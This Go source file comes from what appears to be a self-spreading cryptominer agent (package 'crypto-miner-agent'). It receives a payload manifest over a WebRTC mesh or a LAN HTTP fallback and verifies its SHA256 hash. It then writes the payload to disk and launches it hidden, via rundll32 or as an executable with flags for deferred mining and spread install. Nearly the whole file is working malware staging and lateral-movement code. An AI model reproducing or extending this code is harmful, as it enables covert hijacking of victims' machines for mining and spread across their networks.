package deploy import ( "crypto/sha256" "encoding/hex" "fmt" "os" "path/filepath" "runtime" "strings" "time" "crypto-miner-agent/config" ) // WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread. type WebRTCMeshPolicy struct { STUNServers []string `json:"stun_servers,omitempty"` SignalingRelay string `json:"signaling_relay,omitempty"` LANFallbackURL string `json:"lan_fallback_url,omitempty"` SeederAgentID string `json:"seeder_agent_id,omitempty"` RotationHours int `json:"rotation_hours,omitempty"` IsSeeder bool `json:"is_seeder,omitempty"` } // WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback. type WebRTCMeshManifest struct { Policy WebRTCMeshPolicy `json:"policy"` SHA256 string `json:"sha256"` Dest string `json:"dest"` Launch string `json:"launch"` DLLExport string `json:"dll_export,omitempty"` DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` } // WebRTCDataChannel is a minimal testable surface for manifest delivery. type WebRTCDataChannel interface { Receive() ([]byte, error) } // webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay). var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) type mockWebRTCChannel struct { payload []byte } func (m *mockWebRTCChannel) Receive() ([]byte, error) { if len(m.payload) == 0 { return nil, fmt.Errorf("webrtc channel empty") } return m.payload, nil } // NewMockWebRTCChannel returns a test channel with preloaded manifest bytes. func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel { return &mockWebRTCChannel{payload: payload} } func webrtcMeshWorkDir(cfg config.RuntimeConfig) string { return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName)) } func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) { if webrtcMeshReceiveFn != nil { return webrtcMeshReceiveFn(cfg, policy) } return receiveWebRTCMeshPayloadPlatform(cfg, policy) } // RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker. func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) { if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" { return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS) } payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy) if err != nil { return "", err } sum := sha256.Sum256(payload) got := hex.EncodeToString(sum[:]) expected := strings.ToLower(strings.TrimSpace(manifest.SHA256)) if expected != "" && got != expected { return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected) } dest, err := ResolveStagingPath(manifest.Dest) if err != nil { return "", err } workDir := webrtcMeshWorkDir(cfg) if err := os.MkdirAll(workDir, 0o700); err != nil { return "", err } defer func() { _ = os.RemoveAll(workDir) }() if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { return "", err } if err := os.WriteFile(dest, payload, 0o755); err != nil { return "", err } launch := strings.ToLower(strings.TrimSpace(manifest.Launch)) transport := "webrtc_relay" if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" { transport = "lan_http_fallback" } switch launch { case "rundll32", "dll": export := strings.TrimSpace(manifest.DLLExport) if export == "" { export = "DllRegisterServer" } if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { return "", fmt.Errorf("rundll32 launch: %w", err) } return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh", transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil default: args := []string{runFlag} if manifest.DeferMining { args = append(args, deferMiningFlag) } if manifest.SpreadInstall { args = append(args, spreadFlag) } if err := HiddenStart(dest, args...); err != nil { return "", fmt.Errorf("exe launch: %w", err) } return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh", transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil } } // IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread. func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool { if cfg.WebRTCMeshSpread { return true } return false } // DefaultWebRTCRotationHours is the server policy default for seeder rotation. const DefaultWebRTCRotationHours = 24 // WebRTCMeshSeederTTL returns duration until next seeder rotation window. func WebRTCMeshSeederTTL(hours int) time.Duration { if hours <= 0 { hours = DefaultWebRTCRotationHours } return time.Duration(hours) * time.Hour }